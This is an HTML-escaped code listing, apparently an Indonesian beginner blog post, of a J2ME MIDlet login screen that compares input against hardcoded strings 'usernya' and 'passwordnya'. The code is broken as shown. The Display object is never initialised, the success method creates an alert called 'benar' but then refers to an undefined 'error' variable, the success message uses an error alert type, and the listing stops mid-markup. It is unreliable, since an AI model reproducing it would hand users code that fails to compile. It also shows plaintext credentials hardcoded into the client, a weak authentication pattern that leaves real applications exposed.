&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;* @author MasWawa&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;import javax.microedition.midlet.MIDlet;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;import javax.microedition.lcdui.*;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;class&lt;/span&gt; login extends MIDlet implements CommandListener {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Display display;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; TextField userName;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; TextField password;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Form form;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command cancel;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command login;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; login() {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;userName = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; TextField(&lt;span style="color: #006080"&gt;&amp;quot;LoginID  :&amp;quot;&lt;/span&gt;, &lt;span style="color: #006080"&gt;&amp;quot;&amp;quot;&lt;/span&gt;, 10, TextField.ANY);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;password = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; TextField(&lt;span style="color: #006080"&gt;&amp;quot;Password :&amp;quot;&lt;/span&gt;, &lt;span style="color: #006080"&gt;&amp;quot;&amp;quot;&lt;/span&gt;, 10, TextField.PASSWORD);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;form = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Form(&lt;span style="color: #006080"&gt;&amp;quot;Login&amp;quot;&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;cancel = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&lt;span style="color: #006080"&gt;&amp;quot;Cancel&amp;quot;&lt;/span&gt;, Command.CANCEL, 2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;login = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&lt;span style="color: #006080"&gt;&amp;quot;Login&amp;quot;&lt;/span&gt;, Command.OK, 2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; startApp() {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;form.setTitle(&lt;span style="color: #006080"&gt;&amp;quot;Silakan Login&amp;quot;&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;form.append(userName);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;form.append(password);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;form.addCommand(cancel);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;form.addCommand(login);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;form.setCommandListener(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;display.setCurrent(form);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; pauseApp() {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; destroyApp(boolean unconditional) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;notifyDestroyed();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; validateUser(String name, String password) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;/** &amp;quot;usernya&amp;quot; dan &amp;quot;passwordnya&amp;quot; bisa diganti sesuai keinginan*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (name.equals(&lt;span style="color: #006080"&gt;&amp;quot;usernya&amp;quot;&lt;/span&gt;) &amp;amp;amp;&amp;amp;amp; password.equals(&lt;span style="color: #006080"&gt;&amp;quot;passwordnya&amp;quot;&lt;/span&gt;)) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;bener();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;} &lt;span style="color: #0000ff"&gt;else&lt;/span&gt; {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;tryAgain();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; bener() {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;Alert benar = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Alert(&lt;span style="color: #006080"&gt;&amp;quot;Login Sukses&amp;quot;&lt;/span&gt;, &lt;span style="color: #006080"&gt;&amp;quot;Selamat Login Sukses&amp;quot;&lt;/span&gt;, &lt;span style="color: #0000ff"&gt;null&lt;/span&gt;, AlertType.ERROR);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;error.setTimeout(Alert.FOREVER);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;display.setCurrent(error);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; tryAgain() {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;Alert salah = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Alert(&lt;span style="color: #006080"&gt;&amp;quot;Login salah&amp;quot;&lt;/span&gt;, &lt;span style="color: #006080"&gt;&amp;quot;Silakan Ulangi lagi&amp;quot;&lt;/span&gt;, &lt;span style="color: #0000ff"&gt;null&lt;/span&gt;, AlertType.ERROR);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;salah.setTimeout(Alert.FOREVER);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;userName.setString(&lt;span style="color: #006080"&gt;&amp;quot;&amp;quot;&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;password.setString(&lt;span style="color: #006080"&gt;&amp;quot;&amp;quot;&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;display.setCurrent(salah, form);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; 